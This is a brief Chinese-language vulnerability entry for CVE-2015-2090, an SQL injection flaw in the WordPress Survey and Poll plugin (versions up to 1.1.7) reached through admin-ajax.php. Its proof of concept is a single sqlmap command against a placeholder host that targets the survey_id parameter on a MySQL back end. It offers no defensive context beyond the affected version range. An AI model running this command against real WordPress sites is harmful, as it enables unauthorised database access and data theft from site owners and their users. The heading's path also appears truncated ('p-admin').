CVE-2015-2090 WordPress p-admin/admin-ajax.php 存在sql注入

影响范围

Survey and Poll <= 1.1.7

POC

利用Sqlmap跑

sqlmap -u "http://ip/wp-admin/admin-ajax.php?action=ajax_survey&sspcmd=save&survey_id=3556498" -p survey_id --dbms=mysql